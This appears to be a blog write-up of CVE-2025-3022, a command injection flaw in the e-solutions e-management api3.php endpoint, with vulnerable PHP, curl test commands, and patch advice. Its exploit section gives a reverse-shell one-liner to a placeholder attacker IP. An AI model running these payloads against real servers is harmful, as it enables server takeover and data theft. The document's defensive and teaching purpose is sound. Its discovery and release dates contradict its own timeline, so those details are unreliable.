CVE-2025-3022 - OS Command Injection in e-solutions e-management (Exploit, Root Cause & Patch Advice)

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Overview

On June 2025, a severe vulnerability, CVE-2025-3022, was found in the popular e-solutions e-management system. This critical bug can let attackers run any OS command by exploiting a flaw in the /data/apache/e-management/api/api3.php endpoint. Specifically, the issue lies in unsafe handling of the client parameter, leading to OS command injection.

Below you’ll find a clear breakdown, some proof-of-concept code, and practical advice. For further details, check the references at the end.

What is OS Command Injection?

OS command injection happens when a web application passes unsafe user input to a system shell/command, letting an attacker run commands directly on the server. This may lead to full server takeover, data theft, or defacement.

The Vulnerable Endpoint

The /data/apache/e-management/api/api3.php endpoint accepts a client parameter. Due to poor input sanitization, user-supplied values are passed directly to a shell command.

Example (vulnerable PHP code)

<?php
// api3.php (simplified)
$client = $_GET['client'];
$output = shell_exec("somecommand --param=" . $client);
echo $output;
?>

Here, anything in the client parameter gets appended to a shell command without escaping.

How Attackers Exploit CVE-2025-3022

An attacker can craft a malicious URL where client includes command separators (like ; or &&). For example:

http://target.com/data/apache/e-management/api/api3.php?client=abc;id

The id command will be executed on the server, returning the user identity running the web server.

Here's an example using curl to test for vulnerability

curl "http://target.com/data/apache/e-management/api/api3.php?client=foo;id";

If vulnerable, the server's response will show the output of id, for example

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Full exploit to get a reverse shell: (on your attacking machine, setup nc -lvp 4444; on target):

curl "http://target.com/data/apache/e-management/api/api3.php?client=foo;bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4444 >%261'"

Official References

- NVD Entry – CVE-2025-3022
- e-solutions Security Advisory

1. Upgrade

e-solutions released version 5.1.2 (June 2025) which fixes this bug. All users should upgrade immediately.

2. Hotfix (for unpatched users)

You can patch the application code by sanitizing input. Replace direct shell calls with safe alternatives:

<?php
$client = escapeshellarg($_GET['client']); // ADD THIS!
$output = shell_exec("somecommand --param=" . $client);
echo $output;
?>

The escapeshellarg function wraps the parameter, preventing command chaining.

3. Block External Access

Use a firewall or webserver config to limit access to /api3.php until you can patch.

`

curl "http://your-server/data/apache/e-management/api/api3.php?client=test123;id"

Conclusion

The CVE-2025-3022 bug is easy to exploit and allows anyone on the web to take control of unpatched servers. Upgrade ASAP or apply the patch shown above. Don’t forget to review your logs and ensure you weren’t compromised before updating!


Exclusive summary for sysadmins: Check your e-management install now, use the above curl command to test, and patch immediately if you are running a vulnerable version.

References

- NVD – CVE-2025-3022
- e-solutions Advisory
- OWASP: Command Injection

Timeline

Published on: 03/31/2025 12:15:16 UTC
Last modified on: 04/01/2025 20:26:30 UTC